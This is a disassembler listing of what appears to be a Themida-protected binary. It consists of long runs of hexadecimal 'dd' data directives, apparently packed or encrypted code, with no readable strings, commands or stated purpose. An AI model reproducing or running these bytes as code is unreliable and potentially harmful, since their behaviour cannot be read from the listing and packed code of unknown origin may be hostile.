		dd 59EF51D8h, 0D6F98B3Bh, 221F2370h, 3E9CD065h,	1DAD8A3Bh
		dd 0DC9E0E8Dh, 74110993h, 0ED23907Ah, 4D8D32C7h, 0EFA550F2h
		dd 16E1D91h, 14760000h,	8A95852Dh, 0BBBC146Eh, 0EF520DEAh
		dd 0F1DDB85h, 5C24B969h, 0E56E25AAh, 0F98B3997h, 1F454578h
		dd 3DFAAA5Bh, 381371F7h, 0A17910A8h, 86941EDCh,	1CE7EDFFh
		dd 368CEDh, 0EFE50000h,	3ACA5C59h, 0C72542A6h, 92DA5B16h
		dd 6313E4B5h, 45A558D1h, 5D3AEB1Fh, 0A28E18ADh,	8650FBDFh
		dd 0C70E9A28h, 8610DCA0h, 5DFFF194h, 0A77EED1Dh, 0D7000000h
		dd 6A472D14h, 667608BAh, 732542A6h, 8BAB64C2h, 0F84904E1h
		dd 5DE49F7Ch, 0C1FF6D17h, 202542A3h, 0EBA95321h, 0D587375Dh
		dd 5D7D9123h, 0DD8EDABDh, 0B83FF17Fh, 54E9E0B7h, 9BC373EAh
		dd 4548A6C1h, 0F27E494h, 0E518AD5Dh, 0F8674661h, 502D3BF8h
		dd 0A850AE7Fh, 7683270Fh, 2745F149h, 0A0D78594h, 13895CCFh
		dd 0EFCADAE0h, 14050h, 0B5BF7B00h, 0A7C1720Bh, 9BD164FDh
		dd 8CDC58F1h, 7FED49E2h, 0A99E5DD5h, 9C35DF8Dh,	922BD59Bh
		dd 8720CAA6h, 2A10BABAh, 0FCF60698h, 9D032361h,	4A221416h
		dd 3A3A07A0h, 621F0990h, 0E389ADD1h, 87643506h,	34056BCCh
		dd 50241DD6h, 1C54E3A0h, 1928E3BEh, 67F9AB5Bh, 2542A657h
		dd 0AD55B364h, 0E35159EFh, 7204B485h, 1F455A9Fh, 0C5AB8C49h
		dd 3B36467h, 0D27CF046h, 0A0155464h, 0DA9AA7DCh, 0CD9F9730h
		dd 0B751F0h, 0E8A50000h, 16BD1B59h, 8B3B59EFh, 2370CAF9h
		dd 4320D11Fh, 4ADCB988h, 0DC9E0EBAh, 1136AB9h, 595E8EF3h
		dd 942DD7A8h, 5AEAC7ADh, 0C4626085h, 3A4AD054h,	0BBD6D07h
		dd 1ADD6579h, 120376B4h, 4014ED76h, 0E68EECBDh,	0A380F44Dh
		dd 6C1C4CE8h, 0C627D7h,	58DE4D85h, 0AE54314h, 0A683E54Fh
		dd 0B3454CEBh, 0B41A8323h, 512EFFB0h, 5953C751h, 0D94DBE7Eh
		dd 5CB3844Fh, 1F2262B8h, 1A003593h, 794A26A7h, 718517C9h
		dd 82B41A71h, 3DCB73D1h, 25B8B880h, 6D22E769h, 7D3694E6h
		dd 23D3B0C4h, 30CFDF71h, 2BDCB41Ah, 30D5E97Bh, 35E6B41Ah
		dd 33AD7h, 5D950000h, 4E2614B6h, 0E98BB671h, 89E7510Ch
		dd 2A46F1ACh, 0C8A4924Dh, 660630EBh, 266CE89h, 0A1CB6A25h
		dd 3E2A09C4h, 89569C61h, 4BB53E6h, 1000000h, 0EE835BDEh
		dd 24348704h, 1CCF685Ch, 3C890000h, 54D66824h, 34890000h
		dd 6BA5224h, 51062358h,	0CF89D189h, 8B545A59h, 0C4832434h
		dd 8685104h, 59000000h,	3989F101h, 2434FF59h, 4C4835Eh
		dd 52243C8Bh, 0C281E289h, 4, 8704C283h,	0E95C2414h, 0FFFA2356h
		dd 0A12009E5h, 5BFEB858h, 0C5030623h, 3CFDE0FFh, 0DCCC31EBh
		dd 0BBA6633Bh, 553E2F34h, 0B381AF5h, 967758CDh,	0A29C3606h
		dd 9A177D6Eh, 0C9D717FCh, 0C09E426Ch, 0D18208DBh, 0D1AE79DFh
		dd 4AC95FEFh, 59AD0635h, 94B403DBh, 895C1BF4h, 569B0C1Ch
		dd 0E8C27A0Bh, 4F707DA7h, 88108E6h, 0C8D47DE5h,	0CE84CEFh
		dd 3C000000h, 1AF5B288h, 920FC6CBh, 5B95DF8Fh, 13E9h, 29582B00h
		dd 73D21AE2h, 4DAB9388h, 7CDBDEA9h, 6BB37C07h, 67D9C381h
		dd 0BE0000h, 0F000000h,	34FFC0B7h, 800F591Eh, 1, 0D6E981FCh
		dd 0E866655Fh, 8, 2FDED5A2h, 0C21F4CAEh, 9E8h, 12FAB000h
		dd 0C2E4F05Dh, 61609713h, 0F1815F58h, 71EB7388h, 0B6D7F281h
		dd 0F1817FFDh, 2E714D9Ch, 0EA805760h, 6E95F2Ch,	9C000000h
		dd 9842249h, 0E85161E1h, 14h, 748646E1h, 0F727BC7h, 9527608Eh
		dd 0C05AE358h, 0DE9CB096h, 0BD49BF66h, 33048F5Ah, 7E8h
		dd 1D6C4000h, 0D10567C1h, 5FD6BF0Fh, 5603EE83h,	6800Fh
		dd 8B0F0000h, 0
		dd 8B664E58h, 0FE81D3h,	0FFFFF99h, 0FFFF5985h, 0C28B66FFh
		dd 5E908D8Dh, 6A0623h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 1F3230C3h, 20751368h, 20D18D89h
		dd 6A061Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 29E77EC3h, 0AFC2A847h, 0DD958B93h, 0C7061D21h
		dd 1D331D85h, 602406h, 0B880F00h, 0F000000h, 584h, 0E7816600h
		dd 9D8B4A72h, 61D21C1h,	2BF985C7h, 61Dh, 0BB660000h, 0B5FFA002h
		dd 61D0211h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0CEC35040h, 0A9958B86h,	81061D31h, 983368C7h, 1995FF49h
		dd 6A061D15h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0EA0FC352h, 429E17ADh,	89F27B47h
		dd 1D020D9Dh, 0FF006A06h, 1D120995h, 0EBC08B06h, 6DCBB70Bh
		dd 7BCFFFD5h, 0FD2453BAh, 5F428D8Dh, 10E90623h,	14000000h
		dd 383D79FCh, 7A6C07ECh, 9B1C5CA7h, 8B718982h, 0D18D89D6h
		dd 89061D20h, 1D081D85h, 0D38B6606h, 331D85C7h,	5A7C061Dh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 4655B5C3h, 8A3EF3B2h, 0F985C7C6h,	61D2Bh
		dd 0F000000h, 0BE66F3B7h, 0B5FF4A71h, 61D125Dh,	12E956h
		dd 0D880000h, 15C9267Fh, 0DC6535F9h, 14D11384h,	0B5E88862h
		dd 1995FF58h, 8B061D15h, 1D2A4DBDh, 55858906h, 6A061D29h
		dd 995FF00h, 8B061D12h,	0C31FEBC0h, 0F255D9A1h,	7777C908h
		dd 0DBDA37E5h, 0E3516A38h, 0E8FB4F9Dh, 0AFB3802Eh, 7247A3DAh
		dd 8EB0663h, 7A61791Ch,	0
		dd 0BCBE9h, 60ED6800h, 7CE90623h, 68FFFAE6h, 6236205h
		dd 0FAE672E9h, 63E368FFh, 68E90623h, 68FFFAE6h,	62364F1h
		dd 0FAE65EE9h, 668368FFh, 54E90623h, 68FFFAE6h,	6236848h
		dd 0FAE64AE9h, 696868FFh, 40E90623h, 0C0FFFAE6h, 699D224Bh
		dd 1347CC31h, 0BEF277E6h, 6CA02546h, 0B44DD233h, 0CA3B64CCh
		dd 79941145h, 2546C0F4h, 0D5366CA0h, 0F43EBD50h, 9366984Bh
		dd 7BB62427h, 3161E405h, 32C999F4h, 245AB082h, 43F13EC3h
		dd 0E3B1FB7Eh, 0B99760DAh, 20F01D89h, 94E4D989h, 0A1C23A6Ah
		dd 6DB73C0Ch, 6CA72DB2h, 0E57A0FA0h, 2DFEA515h,	6CED6CA7h
		dd 2D18C30Dh, 65F66CA7h, 0F87FE0B5h, 0B8FA3411h, 3B86h
		dd 0D262F400h, 0C33C6CEFh, 236DF2A2h, 9760C65Dh, 2F5FE273h
		dd 15E797F6h, 0A738FEA5h, 0DB0A736Ch, 1B4AB50Bh, 2460B44Bh
		dd 0D0A5F7C7h, 8D5E386Fh, 4C64A52Ch, 0B333B8FAh, 0A1000000h
		dd 14E4057Bh, 542445BEh, 976780FEh, 25AAC341h, 45CC6ED7h
		dd 0AF0D7395h, 35066345h, 3C0AA4ECh, 0D56B20E2h, 0F323A63Bh
		dd 20A75786h, 8555B6ECh, 20A31E16h, 9FADC8D6h, 5ADD6E68h
		dd 2F5ECBFBh, 0A41E1EC1h, 0B363F46Ch, 6D99C92Ch, 159C3E00h
		dd 0CCF2467Bh, 3A87AD1Ch, 0EE1F87B7h, 0D56FB93Eh, 0DB6E8395h
		dd 6C97C74Ah, 0DB4478FDh, 877A9EAAh, 0C593B0AAh, 99572h
		dd 0F0198E00h, 9AC3376Bh, 45A8E115h, 0F3108CC0h, 0A0C13A6Eh
		dd 329A821Bh, 0DF1398C9h, 8EC247A6h, 3A6EF314h,	8B1EA3C4h
		dd 0A719C20Ch, 0F2F59366h, 0E1007B84h, 91FA285Ch, 0D2629A0Ch
		dd 5C226CEFh, 729760C6h, 0B989FA22h, 6C0A8D22h,	0E04D4312h
		dd 0AEDF4B38h, 2B247DEh, 751BC030h, 37086CA7h, 0FFBA4FD6h
		dd 8CEBB8F9h, 0A7799942h, 0F525756Ch, 0B043F388h, 0EDh
		dd 0FAE4C1Eh, 18C30DD0h, 0F6954569h, 0CB07A365h, 0A9D72DDDh
		dd 19E90481h, 0C71DED82h, 0ED5D2D5Ch, 9545C178h, 6DF21B89h
		dd 0B9236C0Ah, 78E6EB5Eh, 9B4BE00Dh, 0DEAEDF45h, 79FCC56Fh
		dd 54843BDBh, 0EE9ED466h, 24911F69h, 0C8279760h, 0A6A7DD7Eh
		dd 7020B16Ch, 1865EA7Bh, 0C322A51Ch, 0A7611A64h, 0BC4D6CA6h
		dd 1704C0FAh, 1ACA100Ch, 81F9D9AAh, 0F174056Eh,	0A42746C1h
		dd 0FE40FB45h, 9D2E6681h, 650366EDh, 3029E7FCh,	0B050122Dh
		dd 0D5CFB34Dh, 44BF15C5h, 26FF1925h, 4412B0A8h,	87DF1h
		dd 0D8017600h, 82EB1F53h, 2D50C9FDh, 0DB0874A8h, 88F92256h
		dd 1A826A03h, 0C7FB80E1h, 76AA2F5Eh, 2256DB0Ch,	73068BFCh
		dd 0A5F1AAF4h, 0DADD9366h, 0EC1C4C6Ch, 6EF76752h, 16AB0F3Fh
		dd 54B9F046h, 0A858ED84h, 33B82952h, 0E36881FFh, 0BDED4C71h
		dd 0AB52342h, 879545C7h, 69FAED1Ch, 0CC3D63B9h,	0DE4777FCh
		dd 7BA9FFAFh, 0FA2A8D12h, 0FC936384h, 60107DA8h, 0FB7E43F1h
		dd 60A903B1h, 8858E997h, 189BCC32h, 8050BDE8h, 0FE6F95E9h
		dd 6D93C74Eh, 26BC2CFCh, 0ABE1697Eh, 0EE441475h, 0B68252BBh
		dd 0CC6DA405h, 634FCB69h, 0E6EEC648h, 2BFB6C92h, 0AE0FE494h
		dd 9C214AB8h, 1D13A68h,	0D959EB91h, 0D839EAE7h,	0C84BBCE2h
		dd 59D06E98h, 59405C25h, 0CD23F388h, 0CD643451h, 9E018838h
		dd 7ED23B6Eh, 0DC32E20Bh, 2B1386A6h, 2BC292F3h,	9A2FC696h
		dd 0CAF85ACAh, 0F92502DEh, 3E66BC8Ch, 73A7FDCDh, 0D9A33A0Ah
		dd 1B90C728h, 0B3F1E748h, 3202639Bh, 4D81069Bh,	77E6B6D7h
		dd 518104BDh, 4EE5B5D8h, 0B9CF199Eh, 0AFE5FC93h, 3F6B9B1Eh
		dd 0B767FECEh, 7051E330h, 8CBDA3EDh, 293FB1Fh, 0CE1CC232h
		dd 3A0BF327h, 52B752D9h, 0C4E02579h, 4E000003h,	57B6BCFAh
		dd 45C7520Dh, 0FFAF4095h, 0E52FA490h, 9545C73Ah, 6FF28718h
		dd 0F8A8C13Fh, 0DC572973h, 0FE7D9760h, 0A7220BB4h, 0C156E76Ch
		dd 76AFDF3Eh, 42B04717h, 6CA72299h, 2F34E475h, 0B173FEE5h
		dd 675ADAEFh, 0CCE09AE4h, 4FCEEFB4h, 0F33C5A05h, 53A738E7h
		dd 5424B928h, 45659FCFh, 41D8A8D5h, 0A78DFCACh,	27F9971Ah
		dd 82757CFDh, 0D3A3C43Eh, 72F7A73Ch, 0D31F2C28h, 42C556E5h
		dd 0F67BEC12h, 1F2B5CC2h, 37D62F07h, 9FBD10DEh,	98000006h
		dd 4175FA63h, 0EB1FA4C9h, 96CA4FBEh, 4478FD6Eh,	8C25AADBh
		dd 0A2C33CA4h, 51BCE91Dh, 0FD6E98CCh, 0ADDE4478h, 0CC169528h
		dd 9366A413h, 628EFCFFh, 4B701D2h, 0EA9545C7h, 6E9F0559h
		dd 0C7F756D9h, 0CE3F6B53h, 0E6136939h, 7B10A777h, 0A9AD5BCBh
		dd 0A4039760h, 0A71DA15Ah, 4CFC8D6Ch, 0ED8ED857h, 0C16CA71Dh
		dd 46CB9B30h, 438DEC16h, 6CA71D98h, 0A050E576h,	89F4D44Ah
		dd 60F58C5Ch, 8B347EDDh, 676CA71Dh, 25426D6h, 77BDCC2Dh
		dd 0CF7DC74Ah, 0B56E8273h, 356B9F24h, 70AE04D4h, 0CA7B4717h
		dd 0DC0D7369h, 1779257h, 8420B2DDh, 8E000002h, 83E01C4Ch
		dd 0FD6C1CB3h, 0BD078A37h, 976721EAh, 1444C758h, 14AB7BE8h
		dd 2180DF64h, 996624D7h, 0C9790A6Ch, 56D90873h,	0DE8EFF26h
		dd 89F82357h, 9E0434B9h, 6A6DAB6Dh, 0F1951526h,	0F75D141h
		dd 609E899Eh, 0DEAEDF48h, 0D4133D1Ah, 0AC416009h, 73FD0B17h
		dd 0F6C4AA90h, 591A3h, 0EC1D8A00h, 96C73367h, 41ACDD11h
		dd 0EF1C88BCh, 9CCD366Ah, 2E967E17h, 0DB0F94F5h, 8ABE43A2h
		dd 366AEF10h, 871A9FC8h, 0A31DBE08h, 0EEF19366h, 30D26280h
		dd 2CC393F8h, 0BAE41497h, 32E27949h, 215063ADh,	0AEFE9767h
		dd 0C0295777h, 2FC45B2Bh, 729B095Fh, 224BB9EDh,	7786FC52h
		dd 9967722Dh, 3ACF606Ch, 8CED9E6Ah, 7AFF6896h, 0F3EE54B5h
		dd 0E62151B8h, 9D20B787h, 996BA853h, 45F5866Ch,	1A2B2h
		dd 0ED4C2000h, 45C7F8A3h, 0D9047595h, 830155E6h, 53039A6Ah
		dd 966687FDh, 24A9C240h, 0E1645DD7h, 60DA0997h,	0D1019F97h
		dd 604E3675h, 14A59A4Ah, 92FD444h, 4B1C6CA7h, 17A663EAh
		dd 4EF1B8FAh, 5F000000h, 6CEFD262h, 933894CEh, 0B464F7AEh
		dd 65A0D02Fh, 18ADD049h, 9101B148h, 9760C8CBh, 108050E1h
		dd 6CA6CB6Bh, 1268758h,	0CBA758A2h, 0FA8B6CA6h,	16C14338h
		dd 63138657h, 0FAEA8D7Ch, 0C70AB8h, 28870000h, 0A66E3DDEh
		dd 0D080116Ch, 0E4057B3Ch, 2445BE14h, 6780FE54h, 1D4EB4E4h
		dd 0C7AF509Ah, 0F2839545h, 0E41A7042h, 45B0FE83h, 1D9545CCh
		dd 0A050BDEDh, 30B3D44Ah, 93638800h, 0D7EA8FCh,	6FF6A63Dh
		dd 77C11222h, 6ABA3BC4h, 18419AAh, 39104A2h, 60E7EFCh
		dd 769BE656h, 6FBF689Dh, 6C03D33Ah, 0C5F554D7h,	0D7306E58h
		dd 58DB7007h, 9A776D0Eh, 0B0416Ch, 8B1071AAh, 0B1BD2C57h
		dd 0AA8CEDB5h, 0FF3B8E5Ch, 0F8000003h, 0A1D55A83h, 4B7F0469h
		dd 0F62AAFDEh, 0A4D85D8Eh, 0EC850A7Bh, 2639C04h, 0B1DC497Dh
		dd 5D8EF82Ch, 0D7EA4D8h, 2C76F588h, 9366A173h, 4CEE5C5Fh
		dd 0D181E21Ch, 5CE1007Bh, 0C91FA28h, 0E4057B9Ah, 0A558C361h
		dd 0BA10A841h, 54B3380Ah, 45DB510Ah, 0FCAC3D95h, 8A0F78A6h
		dd 47CAF73Dh, 60C4D7FDh, 7C4CDD97h, 2E5FC7F7h, 0A717C75Eh
		dd 6CA6CCF2h, 0A102A001h, 5CF9086Ch, 0B314E999h, 0AE3190A4h
		dd 0A95A054Fh, 0A7386CA6h, 0E22872F7h, 86E83B6h, 7B80F277h
		dd 8F14E405h, 0F4C4255Fh, 2957AD5Dh, 11658801h,	5BE07598h
		dd 91FA5AF8h, 5444111h,	45CA00BBh, 0C85DEE95h, 778BA918h
		dd 780FDF0Eh, 881660E3h, 0AE9760D7h, 26DD4D1Dh,	256CA730h
		dd 9ECEF354h, 70570760h, 0B8FA4099h, 33FEh, 0D2626C00h
		dd 0C33C6CEFh, 9EB45175h
		dd 7308F43Ch, 0D75C0CA3h, 60DEF78Dh, 0C94CDD97h, 4EFE6F99h
		dd 0D1570C7Ch, 83546CA6h, 636E9B22h, 1129B8FAh,	97000001h
		dd 61E4057Bh, 36A7D202h, 0BE61CF66h, 949545C7h,	2B815303h
		dd 6BC191F0h, 0AE04D435h, 44921770h, 9545CCD1h,	108AA2E0h
		dd 5DC91FEFh, 81069B30h, 0E6B6D74Dh, 0B716BD77h, 0BA3CB26Dh
		dd 0A10FA06Ah, 6ABA3CFEh, 3C41FA44h, 9C2D6ABAh,	4F5618A9h
		dd 0D3B5EDAh, 256FF287h, 689F4F63h, 7DC34191h, 63B69459h
		dd 35CA5FDCh, 31D163B0h, 7D0095F8h, 809B2833h, 0DE46766Eh
		dd 9646DDADh, 0EF8D10A1h, 0DCD30992h, 0DD6212A9h, 0B5D64E7Eh
		dd 0F9C92461h, 235CB262h, 9E093DC2h, 0DB2578B0h, 66862320h
		dd 53E87D0Eh, 0A8B95547h, 0B5E2CB0h, 23Ah, 1095C433h, 0BA3FACDCh
		dd 65EA1386h, 1398F531h, 0C045A4DFh, 0ACD73F27h, 1984B83Dh
		dd 0C93367ECh, 0A1DF1398h, 0B130C348h, 66AFB467h, 29979A93h
		dd 1763AE4Ch, 7D63322h,	67860157h, 57E17FE2h, 0BD867C69h
		dd 0C4D372E1h, 53A0BF02h, 5196CC91h, 0BC6C8F3Ah, 77A23866h
		dd 0E3281E61h, 68DA5FF4h, 6CEFD262h, 60C65C22h,	11E17297h
		dd 0A738FAA1h, 0B718E96Ch, 0FA4CD930h, 103BEB8h, 0DC3B0000h
		dd 0A6CCE992h, 0CA3B646Ch, 0DF7063FAh, 57B9B2Fh, 5F8F14E4h
		dd 0BD13C32Ah, 41A02342h, 45C744F7h, 0E9992A95h, 0E9339217h
		dd 9545C736h, 6BDB8B1Ch, 9545CCFAh, 74B19907h, 1DB24919h
		dd 0CD3E6498h, 0EEA68EFDh, 9247F408h, 0C778C281h, 0AB6ABA3Eh
		dd 6DF0851Ah, 9F296123h, 79FE8F68h, 36B9082Ch, 0A73A7D7h
		dd 0D64FA33Ah, 259707B7h, 0B6E80CFh, 9259F77Ah,	3F66A73Bh
		dd 11530C56h, 0AE3F6686h, 0B4E46919h, 0C1205B4Bh, 98065AF1h
		dd 73089F6Fh, 2041BAEEh, 0A8C72414h, 0ACFFCDB0h, 11Ah
		dd 0F075E413h, 9A1F4CBCh, 45CA3366h, 0F3789511h, 0A02544BFh
		dd 4CB71F07h, 3964981Dh, 0E91347CCh, 41BFF378h,	9110A328h
		dd 66AE9447h, 9777A93h,	5EE1007Bh, 0BBA399C0h, 451DCE71h
		dd 5113A495h, 2579F047h, 24BB8BFAh, 4BB9ED74h, 0F6409F22h
		dd 95458745h, 0CB159829h, 95458710h, 36BD6DFEh,	0E4057BC4h
		dd 2740BE14h, 0E2DF55A2h, 47ACC15Fh, 2F84AA91h,	2CD24911h
		dd 1BCB609Bh, 0F77F4C96h, 52E39767h, 26B9FCFh, 19EB9B32h
		dd 0CB386494h, 5EB464FBh, 0E42C720h, 9C3F8990h,	0E26C98B1h
		dd 98B1E798h, 473ACB6Ch, 789CF4B6h, 0B29F54E7h,	5FDD4D1Dh
		dd 0F7085A16h, 0B7EDE344h, 3E6ED156h, 3DD4A4C5h, 0B2C9378Dh
		dd 0DE69B768h, 750A9BE8h, 0EB7B54F2h, 45E4A986h, 0DF3EC395h
		dd 0A4127BAFh, 0E8DEB6FBh, 0EF1E87D7h, 70F3881Fh, 0DEB67526h
		dd 18C859E8h, 59295AC2h, 0DBD13207h, 8BBF44A5h,	9F24F415h
		dd 0B645F640h, 9829E8DEh, 895E8h, 0F9030000h, 0B0DD4878h
		dd 0C7B6C00h, 49B70DDDh, 80FA5020h, 0CC398F5Fh,	7BD1A1h
		dd 40BB11E1h, 83FB5121h, 0CD3C9262h, 0E7AD0A0h,	81560DDDh
		dd 4ECh
		db 0, 89h
word_5A2C5A	dw 240Ch		; DATA XREF: Themida_:00553D89o
		dd 0C181E189h, 4, 8704E983h, 575C240Ch,	0C781E789h, 4
		dd 4EF81h, 3C870000h, 14895C24h, 0E1895124h, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 57240C89h, 0F7AF1BFh, 0CABE5672h, 19413E4h
		dd 0FA895EF7h, 4EC835Fh, 81242489h, 42404h, 68590000h
		dd 6255h, 89243C89h, 87989D7h, 240C8B5Fh, 81E78957h, 4C7h
		dd 4C78300h, 5C243C87h,	5A2434FFh, 0E904C483h, 0FFFADAC3h
		dd 0D1D8DA22h, 82750553h, 236AA7B8h, 0FFC50306h, 5199B0E0h
		dd 823F7673h, 0F8AE7503h, 0D14D3515h, 75318967h, 60162217h
		dd 331B4460h, 0AA73F64Ch, 83FCA764h, 2FC60803h,	356463h
		dd 0B14DA81Ch, 2A685913h, 7A80C5Bh, 71D4097Bh, 12E86Eh
		dd 0E8800000h, 68D90A7Dh, 401DA51Dh, 6F0DF8A1h,	68ADB7Ch
		dd 76E18166h, 515058CFh, 15D18166h, 815F5FEBh, 5D1AC0h
		dd 0C9816600h, 0DB33E276h, 334FFF5h, 0F98B665Ah, 7E1CEA81h
		dd 13E91747h, 30000000h, 31FDE7C2h, 0EC486ED8h,	7CE7DB37h
		dd 6A85BF93h, 0F281989Ch, 6EBA7D70h, 0D25BEA81h, 8B6618F6h
		dd 816652CAh, 8F1AA8F6h, 0BE91804h, 0BD000000h,	88E06071h
		dd 0A90FC3F6h, 870FA608h, 5, 0E0D98051h, 4EB835Fh, 0F63EBF66h
		dd 0A37CFB81h, 850FFFFFh, 0FFFFFF95h, 6D278D8Dh, 43BE0623h
		dd 896317A4h, 1D20D18Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 2DB6B379h, 950956F9h
		dd 61D3325h, 0F681665Bh, 85C7236Dh, 61D331Dh, 62E8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 25C35141h, 15E19503h
		dd 8E0F061Dh, 6, 2AFD858Bh, 85C7061Dh, 61D2BF9h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0A4C35545h
		dd 0DE9h, 0AAF08300h, 7EEED8B1h, 39EAE3A8h, 0B5FFA3CAh
		dd 61D2C49h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0DEC35141h, 81EFD13Ch, 8166F5D9h, 0FFD934D8h, 1D151995h
		dd 15810F06h, 0E9000000h, 10h, 28F235F4h, 0ABBBB775h, 69B57315h
		dd 0F3B6417Dh, 95FF006Ah, 61D1209h, 0EEBC08Bh, 41A6F984h
		dd 0D2DB6409h, 0E4CBF04Ah, 8D8DDE3Fh, 6236E04h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0D9C35646h, 2BEE6F0Fh
		dd 89ADA348h, 1D20D18Dh, 9D295606h, 61D17A5h, 1D85C75Eh
		dd 61D33h, 6A000070h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 38CDC357h, 0BE1AC69Ch,	8166C61Bh
		dd 666245E7h, 0C7DC92BAh, 1D2BF985h, 6,	52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 0BAA6D074h, 0B4ABCCD0h, 0C081DC82h, 3C4BE483h, 2C49B5FFh
		dd 880F061Dh, 6, 2B0D958Bh, 0B70F061Dh,	1995FFFBh, 1061D15h
		dd 1D28B995h, 0FF006A06h, 1D120995h, 0EBC08B06h, 8C6F9D0Eh
		dd 3FC3691h, 0A4658D07h, 0E876390Eh, 5,	0ED51CCB6h, 0D08166A4h
		dd 315F4696h, 1D1AC1B5h, 7CC78106h, 2900005Eh, 1D1A2985h
		dd 6806h, 95890000h, 61D097Dh, 0EE85Ah,	17A10000h, 520D2D82h
		dd 0A38119AEh, 5736BAB4h, 0DDED8056h, 34FF5958h, 9589563Ah
		dd 61D0971h, 8B665E5Bh,	6C681DAh, 800D0592h, 0F681A7E0h
		dd 32497CF7h, 0C57BF681h, 60BB3488h, 890BDA00h,	0B9661734h
		dd 0F602009h, 580h, 0D7816600h,	8D892629h, 61D2145h, 9CEA8161h
		dd 8030E131h, 0C281BDCDh, 30E13198h, 9E9h, 56179500h, 700B2226h
		dd 0FA81E2D0h, 0FFFFA234h, 0FF94850Fh, 0BD89FFFFh, 61D0441h
		dd 0FE8h, 2191F100h, 7019CF8Dh,	0AAF5C23Eh, 70F6A704h
		dd 5FD7B70Fh, 48D8589h,	0C781061Dh, 6FCFh, 0B9B5CC80h
		dd 1BC7h, 1F8BC38Bh, 81C78B66h,	0C8F893EBh, 0FE94Eh, 10880000h
		dd 29C7C2D0h, 0EA463D67h, 0C3DEA1AEh, 9C381F7h,	0E848271Bh
		dd 6, 77337646h, 810FD231h, 6, 18098529h, 815A061Dh, 5262D6C3h
		dd 1F89F903h, 4EF83F9h,	0E981F28Bh, 1, 24850Fh,	0FE90000h
		dd 0AC000000h, 425ECD6h, 2189D248h, 0C2A0B295h,	1DE94677h
		dd 0A1000000h, 9A86F476h, 4F8707ADh, 0B58B1FE5h, 61D0319h
		dd 0FFFF79E9h, 0E93BDCFFh, 0F9EA2305h, 703E8D8Dh, 6A0623h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0E828EFC3h, 0E0F1BB55h, 0B70FB933h, 0D18D89F8h, 8B061D20h
		dd 1D073DB5h, 0F7816606h, 85C78A36h, 61D331Dh, 60BCh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0A5C35646h, 3830Fh
		dd 0B70F0000h, 0F985C7D7h, 61D2Bh, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 8976C353h, 1D017D95h, 6DB86606h, 6DB5FFEAh, 8B061D08h
		dd 1995FFD8h, 6A061D15h, 995FF00h, 8B061D12h, 8C7DEBC0h
		dd 0ED17021Fh, 65D3AA5Ah, 0B04454AAh, 3DAE4EDAh, 0EE194587h
		dd 0EC2813ADh, 29622717h, 52A6F8B4h, 5D62D3B9h,	212AF900h
		dd 77D21670h, 78195D6h,	90C7532Bh, 914DA328h, 878261E5h
		dd 0D88300h, 6C81D8EAh,	73FFA96Ch, 0F5786B87h, 0A53E5D48h
		dd 634F75B0h, 57ED02CDh, 4C432C46h, 2C44D062h, 77507439h
		dd 0BDDFE7C4h, 625BD3C0h, 0A3D4CD55h, 1BB4559h,	85EB34A3h
		dd 86FF56CEh, 71868D8Dh, 8D890623h, 61D1B45h, 20D18D89h
		dd 0FB8B061Dh, 331D85C7h, 6064061Dh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0DA8D8C3h
		dd 14BF661Fh, 0F985C700h, 61D2Bh, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 7278C355h, 89861AFEh, 1D1A198Dh, 68F0F06h, 8B000000h
		dd 1D18E195h, 0EDB5FF06h, 6A061D16h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 1A56C350h
		dd 0EF6128EEh, 139038D1h, 8BDEF280h, 1D1681BDh,	0F6816606h
		dd 95FF7801h, 61D1519h,	6A3EF780h, 995FF00h, 8B061D12h
		dd 55FEBC0h, 0FCB935A5h, 0A34180ACh, 3603DDF4h,	0EC34C62Eh
		dd 0D8456483h, 0F8133D22h, 18C5823Fh, 35E14C58h, 0A148095Dh
		dd 13E7D8F0h, 76F2432Ah, 0E37B8607h, 0BD0D068Fh, 0CEAF47B6h
		dd 0B6773258h, 0E521F919h, 0ED8A5031h, 72BE330Fh, 4D0A2F4h
		dd 0A996795h, 0A7A149DDh, 2E789ECDh, 69EFC990h,	8D8D7FB7h
		dd 62372E6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0B3C35343h, 1AF78166h, 0D18D89EFh, 6A061D20h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 4206C350h, 0C7B4899Fh, 1D331D85h, 623C06h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 4B1D9ED8h, 5F1C40C2h, 14E8A30Ah, 0C3000000h,	74A1A4F6h
		dd 80F15BD8h, 93E39F1Ch, 46C84F54h, 0E9C1438Fh,	6, 1BBC876Eh
		dd 665AFC3Ch, 9C2AF381h, 2BF985C7h, 61Dh, 0BE660000h, 0B5FFDFC6h
		dd 61D125Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	48C35343h, 6A71C75Ah, 19363440h, 1C7DB531h, 8166061Dh
